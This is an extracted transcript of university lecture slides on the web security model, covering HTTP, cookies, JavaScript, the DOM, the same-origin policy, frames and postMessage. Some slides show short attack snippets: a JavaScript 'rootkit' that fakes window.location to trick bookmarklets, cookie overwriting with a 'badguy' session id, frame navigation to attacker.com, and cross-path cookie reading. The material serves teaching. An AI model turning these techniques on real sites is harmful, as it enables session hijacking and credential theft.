cs 361s web security model vitaly shmatikov (most slides from the stanford web security group)
TRANSCRIPT
![Page 1: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/1.jpg)
CS 361S
Web Security Model
Vitaly Shmatikov
(most slides from the Stanford Web security group)
![Page 2: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/2.jpg)
slide 2
Reading Assignment
Read “Rookits for JavaScript Environments” and “Beware of Finer-Grained Origins”
![Page 3: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/3.jpg)
slide 3
Browser and Network
Browser
NetworkOS
Hardware
website
request
reply
![Page 4: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/4.jpg)
slide 4
HTTP: HyperText Transfer Protocol
Used to request and return data • Methods: GET, POST, HEAD, …
Stateless request/response protocol• Each request is independent of previous
requests• Statelessness has a significant impact on
design and implementation of applications
Evolution• HTTP 1.0: simple • HTTP 1.1: more complex
![Page 5: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/5.jpg)
slide 5
GET /default.asp HTTP/1.0Accept: image/gif, image/x-bitmap, image/jpeg, */*Accept-Language: enUser-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)Connection: Keep-AliveIf-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT
HTTP Request
Method File HTTP version Headers
Data – none for GET
Blank line
![Page 6: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/6.jpg)
slide 6
HTTP/1.0 200 OKDate: Sun, 21 Apr 1996 02:20:42 GMTServer: Microsoft-Internet-Information-Server/5.0 Connection: keep-aliveContent-Type: text/htmlLast-Modified: Thu, 18 Apr 1996 17:39:05 GMTContent-Length: 2543 <HTML> Some data... blah, blah, blah </HTML>
HTTP Response
HTTP version Status code Reason phrase Headers
Data
![Page 7: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/7.jpg)
slide 7
Website Storing Info In Browser
A cookie is a file created by a website to store information in the browser
BrowserServer
POST login.cgiusername and pwd
BrowserServer
GET restricted.html
Cookie: NAME=VALUE
HTTP is a stateless protocol; cookies add state
If expires = NULL, this session only
HTTP Header:Set-cookie: NAME=VALUE ;
domain = (who can read) ;expires = (when expires) ;secure = (send only over HTTPS)
![Page 8: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/8.jpg)
slide 8
What Are Cookies Used For?
Authentication• The cookie proves to the website that the
client previously authenticated correctly
Personalization• Helps the website recognize the user from a
previous visit
Tracking• Follow the user from site to site; learn his/her
browsing behavior, preferences, and so on
![Page 9: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/9.jpg)
Goals of Web Security
Safely browse the Web• A malicious website cannot steal information
from or modify legitimate sites or otherwise harm the user…
• … even if visited concurrently with a legitimate site - in a separate browser window, tab, or even iframe on the same webpage
Support secure Web applications• Applications delivered over the Web should
have the same security properties we require for standalone applications (what are these properties?)
slide 9
![Page 10: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/10.jpg)
All of These Should Be Safe
Safe to visit an evil website
Safe to visit two pages at the same time
Safe delegation
slide 10
![Page 11: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/11.jpg)
Security Vulnerabilities in 2011
slide 11
Source: IBM X-Force
![Page 12: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/12.jpg)
Two Sides of Web Security
Web browser• Responsible for securely confining Web
content presented by visited websites
Web applications• Online merchants, banks, blogs, Google Apps
…• Mix of server-side and client-side code
– Server-side code written in PHP, Ruby, ASP, JSP… runs on the Web server
– Client-side code written in JavaScript… runs in the Web browser
• Many potential bugs: XSS, XSRF, SQL injectionslide 12
![Page 13: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/13.jpg)
slide 13
Where Does the Attacker Live?
Browser
OS
Hardware
website
Web attack
er
Network attacker
Malware attacker
![Page 14: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/14.jpg)
Web Threat Models
Web attacker Network attacker
• Passive: wireless eavesdropper• Active: evil Wi-Fi router, DNS poisoning
Malware attacker• Malicious code executes directly on victim’s
computer• To infect victim’s computer, can exploit software
bugs (e.g., buffer overflow) or convince user to install malicious content (how?)
– Masquerade as an antivirus program, video codec, etc.
slide 14
![Page 15: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/15.jpg)
Web Attacker
Controls a malicious website (attacker.com)• Can even obtain an SSL/TLS certificate for his site
($0)
User visits attacker.com – why?• Phishing email, enticing content, search results,
placed by an ad network, blind luck …• Attacker’s Facebook app
Attacker has no other access to user machine! Variation: “iframe attacker”
• An iframe with malicious content included in an otherwise honest webpage
– Syndicated advertising, mashups, etc.slide 15
![Page 16: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/16.jpg)
Dangerous Websites
Microsoft’s 2006 “Web patrol” study identified hundreds of URLs that could successfully exploit unpatched Windows XP machines• Many interlinked by redirection and controlled by the
same major players
“But I never visit risky websites”• 11 exploit pages are among top 10,000 most visited• Trick: put up a page with popular content, get into
search engines, page then redirects to the exploit site– One of the malicious sites was providing exploits to 75
“innocuous” sites focusing on (1) celebrities, (2) song lyrics, (3) wallpapers, (4) video game cheats, and (5) wrestling
slide 16
![Page 17: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/17.jpg)
OS vs. Browser Analogies
Primitives• System calls• Processes• Disk
Principals: Users• Discretionary access
control
Vulnerabilities• Buffer overflow• Root exploit
Primitives• Document object model• Frames• Cookies and localStorage
Principals: “Origins”• Mandatory access control
Vulnerabilities• Cross-site scripting• Universal scripting
Operating system Web browser
slide 17
![Page 18: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/18.jpg)
slide 18
ActiveX
ActiveX “controls” are compiled binaries that reside on the client machine• Downloaded and installed, like any other executable• Activated by an HTML object tag on the page• Run as native binaries, not interpreted by the browser
Security model relies on three components• Digital signatures to verify the source of the control• Browser policy can reject controls from network zones• Controls can be marked by author as “safe for
initialization” or “safe for scripting”
Once accepted, installed and started, no control over execution!
![Page 19: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/19.jpg)
slide 19
Installing ActiveX Controls
If you install and run, no further control over the code,same access as any other program you installed
![Page 20: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/20.jpg)
slide 20
ActiveX Risks
From MSDN:• “An ActiveX control can be an extremely insecure way to
provide a feature. Because it is a Component Object Model (COM) object, it can do anything the user can do from that computer. It can read from and write to the registry, and it has access to the local file system. From the moment a user downloads an ActiveX control, the control may be vulnerable to attack because any Web application on the Internet can repurpose it, that is, use the control for its own ends whether sincere or malicious.”
How can a control be “repurposed?”• Once a control is installed, any webpage that knows
the control’s class identifier (CLSID) can access it using an HTML object tag embedded in the page
![Page 21: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/21.jpg)
Browser: Basic Execution Model
Each browser window or frame:• Loads content• Renders
– Processes HTML and executes scripts to display the page
– May involve images, subframes, etc.
• Responds to events
Events• User actions: OnClick, OnMouseover• Rendering: OnLoad, OnUnload• Timing: setTimeout(), clearTimeout()
slide 21
![Page 22: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/22.jpg)
HTML and Scripts
<html> …<p> The script on this page adds two numbers<script>
var num1, num2, sumnum1 = prompt("Enter first number")num2 = prompt("Enter second number")sum = parseInt(num1) + parseInt(num2)alert("Sum = " + sum)
</script>…
</html>
Browser receives content, displays HTML and executes scripts
slide 22
![Page 23: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/23.jpg)
slide 23
![Page 24: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/24.jpg)
slide 24
Event-Driven Script Execution
<script type="text/javascript"> function whichButton(event) {
if (event.button==1) {alert("You clicked the left mouse
button!") }else {
alert("You clicked the right mouse button!")
}}</script>…<body onmousedown="whichButton(event)">…</body>
Function gets executedwhen some event happens
Script defines apage-specific function
![Page 25: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/25.jpg)
slide 25
![Page 26: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/26.jpg)
<html> <body> <div style="-webkit-transform: rotateY(30deg) rotateX(-30deg); width: 200px;"> I am a strange root. </div> </body> </html>
Source: http://www.html5rocks.com/en/tutorials/speed/layers/
slide 26
![Page 27: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/27.jpg)
slide 27
JavaScript
“The world’s most misunderstood programming language”
Language executed by the Web browser• Scripts are embedded in webpages• Can run before HTML is loaded, before page is
viewed, while it is being viewed, or when leaving the page
Used to implement “active” webpages and Web applications
A potentially malicious webpage gets to execute some code on user’s machine
![Page 28: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/28.jpg)
slide 28
JavaScript History
Developed by Brendan Eich at Netscape • Scripting language for Navigator 2
Later standardized for browser compatibility• ECMAScript Edition 3 (aka JavaScript 1.5)
Related to Java in name only• Name was part of a marketing deal• “Java is to JavaScript as car is to carpet”
Various implementations available• SpiderMonkey, RhinoJava, others
![Page 29: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/29.jpg)
slide 29
Common Uses of JavaScript
Page embellishments and special effects Dynamic content manipulation Form validation Navigation systems Hundreds of applications
• Google Docs, Google Maps, dashboard widgets in Mac OS X, Philips universal remotes …
![Page 30: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/30.jpg)
slide 30
JavaScript in Webpages
Embedded in HTML as a <script> element• Written directly inside a <script> element
– <script> alert("Hello World!") </script>
• In a file linked as src attribute of a <script> element
<script type="text/JavaScript" src=“functions.js"></script>
Event handler attribute<a href="http://www.yahoo.com"
onmouseover="alert('hi');">
Pseudo-URL referenced by a link<a href=“JavaScript: alert(‘You clicked’);”>Click me</a>
![Page 31: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/31.jpg)
Document Object Model (DOM)
HTML page is structured data DOM is object-oriented representation of
the hierarchical HTML structure• Properties: document.alinkColor,
document.URL, document.forms[ ], document.links[ ], …
• Methods: document.write(document.referrer)– These change the content of the page!
Also Browser Object Model (BOM)• Window, Document, Frames[], History, Location,
Navigator (type and version of browser)slide 31
![Page 32: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/32.jpg)
Browser and Document Structure
W3C standard differs from models supported in existing browsers slide 32
![Page 33: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/33.jpg)
slide 33
Reading Properties with JavaScript
Sample script
• Example 1 returns "ul"• Example 2 returns "null"• Example 3 returns "li"• Example 4 returns "text"
– A text node below the "li" which holds the actual text data as its value
• Example 5 returns " Item 1 "
1. document.getElementById('t1').nodeName
2. document.getElementById('t1').nodeValue
3. document.getElementById('t1').firstChild.nodeName
4. document.getElementById('t1').firstChild.firstChild.nodeName
5. document.getElementById('t1').firstChild.firstChild.nodeValue
<ul id="t1"><li> Item 1 </li></ul>
Sample HTML
![Page 34: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/34.jpg)
slide 34
Page Manipulation with JavaScript
Some possibilities• createElement(elementName)• createTextNode(text)• appendChild(newChild)• removeChild(node)
Example: add a new list item
var list = document.getElementById('t1')
var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)
<ul id="t1"><li> Item 1 </li></ul>
Sample HTML
![Page 35: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/35.jpg)
JavaScript Bookmarks (Favelets)
Script stored by the browser as a bookmark Executed in the context of the current
webpage Typical uses:
• Submit the current page to a blogging or bookmarking service
• Query a search engine with highlighted text• Password managers
– One-click sign-on– Automatically generate a strong password– Synchronize passwords across sites
slide 35
Must execute only inside the “right” page
![Page 36: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/36.jpg)
A JavaScript “Rootkit”
slide 36
[“Rootkits for JavaScript environments”]
A malicious webpage
JavaScript bookmark
if (window.location.host == "bank.com") doLogin(password);
Malicious page defines a global variable named “window” whose value is a fake “location” objectvar window = { location: { host: "bank.com" } };
![Page 37: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/37.jpg)
Let’s Detect Fake Objects
slide 37
[“Rootkits for JavaScript environments”]
A malicious webpage
JavaScript bookmark
window.location = “#”;If window.location is a native object,new value will be “https://bank.com/login#”
window.__defineGetter__("location", function () { return "https://bank.com/login#"; });window.__defineSetter__("location", function (v) { });
![Page 38: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/38.jpg)
Let’s Detect Emulation
slide 38
[“Rootkits for JavaScript environments”]
A malicious webpage
JavaScript bookmark
typeof obj.__lookupGetter__(propertyName) !== "undefined"
Attacker emulates reflection API itself!Object.prototype.__lookupGetter__ =function() { ... };
typeOf and !== avoid asking for the value of“undefined” (could be redefined by attacker!)
Use reflection API
![Page 39: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/39.jpg)
Content Comes from Many Sources
Scripts<script src=“//site.com/script.js”> </script>
Frames <iframe src=“//site.com/frame.html”> </iframe>
Stylesheets (CSS)<link rel=“stylesheet” type="text/css” href=“//site.com/theme.css" />
Objects (Flash) - using swfobject.js script<script> var so = new SWFObject(‘//site.com/flash.swf',
…); so.addParam(‘allowscriptaccess', ‘always'); so.write('flashdiv');</script> slide 39
Allows Flash object to communicate with external scripts, navigate frames, open windows
![Page 40: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/40.jpg)
Browser Sandbox
Goal: safely execute JavaScript code provided by a website
• No direct file access, limited access to OS, network, browser data, content that came from other websites
Same origin policy• Can only access properties of documents and
windows from the same domain, protocol, and port
User can grant privileges to signed scripts • UniversalBrowserRead/Write, UniversalFileRead,
UniversalSendMail
slide 40
![Page 41: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/41.jpg)
Same Origin Policy (SOP) for DOM:
Origin A can access origin B’s DOM if A and B have same (protocol, domain, port)
Same Origin Policy (SOP) for cookies:
Generally, based on([protocol], domain, path)
optional
protocol://domain:port/path?params
Same Origin Policy
slide 41
![Page 42: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/42.jpg)
Setting Cookies by Server
slide 42
scope
• Delete cookie by setting “expires” to date in past
• Default scope is domain and path of setting URL
BrowserServer
GET …
HTTP Header:Set-cookie: NAME=VALUE;
domain = (when to send);path = (when to send);secure = (only send over
HTTPS);expires = (when expires);HttpOnly
if expires=NULL:this session only
![Page 43: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/43.jpg)
Viewing Cookies in Browser
slide 43
![Page 44: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/44.jpg)
HTTP cookies: max 4K, can delete from browser
Flash cookies / LSO (Local Shared Object)• Up to 100K• No expiration date• Cannot be deleted by browser user
Flash language supports XMLSockets• Can only access high ports in Flash app’s domain• Scenario: malicious Flash game, attacker runs a
proxy on a high port on the game-hosting site… Consequences?
Flash
slide 44
![Page 45: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/45.jpg)
Both cookies stored in browser’s cookie jar,
both are in scope of login.site.com
cookie 1name = useridvalue = testdomain = login.site.compath = /secure
cookie 2name = useridvalue = test123domain = .site.compath = /secure
distinct cookies
Cookie Identification
slide 45
Cookies are identified by (name, domain, path)
![Page 46: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/46.jpg)
domain: any domain suffix of URL-hostname, except top-level domain (TLD)
Which cookies can be set by login.site.com?
login.site.com can set cookies for all of .site.com but not for another site or TLD
Problematic for sites like .utexas.edu
path: anything
allowed domains
login.site.com
.site.com
disallowed domains
user.site.com
othersite.com
.com
SOP for Writing Cookies
slide 46
![Page 47: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/47.jpg)
Browser sends all cookies in URL scope:
• cookie-domain is domain-suffix of URL-domain
• cookie-path is prefix of URL-path
• protocol=HTTPS if cookie is “secure”
Goal: server only sees cookies in its scope
GET //URL-domain/URL-pathCookie: NAME = VALUE
SOP for Sending Cookies
BrowserServer
slide 47
![Page 48: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/48.jpg)
Examples of Cookie SOP
http://checkout.site.com/
http://login.site.com/
https://login.site.com/
cookie 1name = useridvalue = u1domain = login.site.compath = /secure
cookie 2name = useridvalue = u2domain = .site.compath = /non-secure
both set by login.site.com
cookie: userid=u2
cookie: userid=u2
cookie: userid=u1; userid=u2 (arbitrary order; in FF3 most specific first)
slide 48
![Page 49: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/49.jpg)
Cookie Protocol Issues
What does the server know about the cookie sent to it by the browser?
Server only sees Cookie: Name=Value … does not see cookie attributes (e.g.,
“secure”) … does not see which domain set the cookie
• RFC 2109 (cookie RFC) has an option for including domain, path in Cookie header, but not supported by browsers
slide 49
![Page 50: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/50.jpg)
Alice logs in at login.site.com • login.site.com sets session-id cookie for .site.com
Alice visits evil.site.com• Overwrites .site.com session-id cookie with session-id
of user “badguy” - not a violation of SOP! (why?)
Alice visits cs361s.site.com to submit homework• cs361s.site.com thinks it is talking to “badguy”
Problem: cs361s.site.com expects session-id from login.site.com, cannot tell that session-id cookie has been overwritten by a “sibling” domain
Who Set The Cookie?
slide 50
![Page 51: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/51.jpg)
Overwriting “Secure” Cookies
Alice logs in at https://www.google.com https://www.google.com/accounts
Alice visits http://www.google.com• Automatically, due to the phishing filter
Network attacker can inject into response Set-Cookie: LSID=badguy; secure
• Browser thinks this cookie came from http://google.com, allows it to overwrite secure cookie
slide 51
LSID, GAUSR are “secure” cookies
![Page 52: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/52.jpg)
Accessing Cookies via DOM
Same domain scoping rules as for sending cookies to the server
document.cookie returns a string with all cookies available for the document• Often used in JavaScript to customize page
Javascript can set and delete cookies via DOM
– document.cookie = “name=value; expires=…; ”– document.cookie = “name=; expires= Thu, 01-Jan-
70”
slide 52
![Page 53: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/53.jpg)
Path Separation Is Not Secure
Cookie SOP: path separationwhen the browser visits x.com/A,it does not send the cookies of x.com/BThis is done for efficiency, not security!
DOM SOP: no path separationA script from x.com/A can read DOM of x.com/B
<iframe src=“x.com/B"></iframe>
alert(frames[0].document.cookie); slide 53
![Page 54: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/54.jpg)
Frames
Window may contain frames from different sources• frame: rigid division as part of frameset• iframe: floating inline frame
Why use frames?• Delegate screen area to content from another
source• Browser provides isolation based on frames• Parent may work even if frame is broken
<IFRAME SRC="hello.html" WIDTH=450 HEIGHT=100> If you can see this, your browser doesn't understand IFRAME. </IFRAME>
slide 54
![Page 55: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/55.jpg)
Each frame of a page has an origin• Origin = protocol://domain:port
Frame can access objects from its own origin• Network access, read/write DOM, cookies and localStorage
Frame cannot access objects associated with other origins
A A
B
BA
Browser Security Policy for Frames
slide 55
![Page 56: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/56.jpg)
Mashups
slide 56
![Page 57: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/57.jpg)
iGoogle (Now Defunct)
slide 57
![Page 58: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/58.jpg)
Cross-Frame Scripting
Frame A can execute a script that manipulates arbitrary DOM elements of Frame B only if Origin(A) = Origin(B)• Basic same origin policy, where origin is the
protocol, domain, and port from which the frame was loaded
Some browsers used to allow any frame to navigate any other frame• Navigate = change where the content in the
frame is loaded from• Navigation does not involve reading the
frame’s old content slide 58
![Page 59: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/59.jpg)
Suppose the following HTML is hosted at site.com
Disallowed access<iframe src="http://othersite.com"></iframe>alert( frames[0].contentDocument.body.innerHTML )alert( frames[0].src )
Allowed access<img src="http://othersite.com/logo.gif">alert( images[0].height )orframes[0].location.href = “http://mysite.com/”
Frame SOP Examples
Navigating child frame is allowed, but reading frame[0].src is not
slide 59
![Page 60: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/60.jpg)
Guninski Attack
window.open("https://www.google.com/...")window.open("https://www.attacker.com/...", "awglogin")
awglogin
If bad frame can navigate sibling frames, attacker gets password! slide 60
![Page 61: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/61.jpg)
Gadget Hijacking in Mashups
top.frames[1].location = "http:/www.attacker.com/...“;top.frames[2].location = "http:/www.attacker.com/...“;
...
slide 61
![Page 62: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/62.jpg)
Gadget Hijacking
slide 62
Modern browsers only allow a frame to navigate its “descendant” frames
![Page 63: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/63.jpg)
Recent Developments
Cross-origin network requests• Access-Control-Allow-Origin: <list of domains>
– Typical usage: Access-Control-Allow-Origin: *
Cross-origin client-side communication• Client-side messaging via fragment navigation• postMessage (newer browsers)
Site BSite A
Site A context Site B context
slide 63
![Page 64: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/64.jpg)
postMessage
New API for inter-frame communication Supported in latest browsers
slide 64
![Page 65: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/65.jpg)
Example of postMessage Usage
document.addEventListener("message", receiver);
function receiver(e) { if (e.origin == “http://a.com") { … e.data … }}
slide 65
Messages are sent to frames, not origins
Why is this needed?
frames[0].postMessage(“Hello!”, “http://b.com”);
b.com
a.comc.com
![Page 66: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/66.jpg)
Message Eavesdropping (1)
frames[0].postMessage(“Hello!”) With descendant frame navigation
policy Attacker replaces inner frame with his
own, gets message
slide 66
![Page 67: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/67.jpg)
Message Eavesdropping (2)
frames[0].postMessage(“Hello!”) With any frame navigation policy Attacker replaces child frame with his
own, gets message
slide 67
![Page 68: CS 361S Web Security Model Vitaly Shmatikov (most slides from the Stanford Web security group)](https://reader034.vdocuments.net/reader034/viewer/2022052603/56649ec95503460f94bd7777/html5/thumbnails/68.jpg)
Who Sent the Message?
slide 68
